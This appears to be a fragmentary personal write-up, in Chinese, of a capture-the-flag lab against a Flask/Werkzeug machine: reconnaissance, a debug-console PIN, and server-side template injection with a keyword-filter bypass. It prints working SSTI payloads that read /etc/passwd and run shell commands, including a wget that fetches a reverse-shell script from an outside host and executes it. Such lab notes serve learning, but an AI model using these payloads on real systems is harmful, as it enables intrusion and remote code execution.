netdiscover
主机发现
启动前
端口扫描
FTP 匿名登录
~/workspace cat README.txt
Hi, Cosette, don't forget to disable the debug mode in the web application, we don't want security breaches.
提示有一个 debug 页面可以利用
web 侦查
进去之后是一个上传文件的页面, 先去搜了一下 cve, 因为不确定 cms 名称啥的,
后面搜到了 console 目录, 然后访问了 console 目录, 才确定这是 Werkzeug
控制台页面
最后只有主页的文件上传和一个 console 页面能用, console 页面需要一个 PIN
https://www.daehee.com/werkzeug-console-pin-exploit/
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug
查到了这两篇文章, 提示需要一些属性, 然后能够计算出 PIN 值
服务器端模板注入
Server Side Template Injection
还是得看主页的渲染, 之前随便上传了个 html 文件 (前端验证, 无所谓的), 确定了是 ssti 注入
过滤了 import, os, attr, script. app, mro,[,], init 的 ssti 注入
# 我找到的是这个,能够读取文件,但是没用....
{{get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
wp的payload,神奇的linsum
{{lipsum.__globals__.__builtins__.open("/etc/passwd").read()}}
# 好吧,我是傻逼,使用eval这个方法可以直接字符串拼接
{{lipsum.__globals__.__builtins__.eval("__impo"+"rt__(\"o"+"s\").po"+"pen(\"ls -lh /\").read()")}}
cosette
flask.app
Flask
/home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py
# mac地址
00:0c:29:32:d5:b0
十进制
>>> print(0x000c2932d5b0)
52230804912
48329e233f524ec291cce7479927890b
去看 wp了
{{lipsum.__globals__.__builtins__.eval("__impo"+"rt__(\"o"+"s\").po"+"pen(\"wget http://192.168.10.11:8000/reverse.sh -O /tmp/reverse.sh\").read()")}}
{{lipsum.__globals__.__builtins__.eval("__impo"+"rt__(\"o"+"s\").po"+"pen(\"/tmp/reverse.sh\").read()")}}
strings /usr/bin/zeug
提权
这块涉及计算机底层的东西, 我不懂, 吐了, 先放着
学习 wp
]]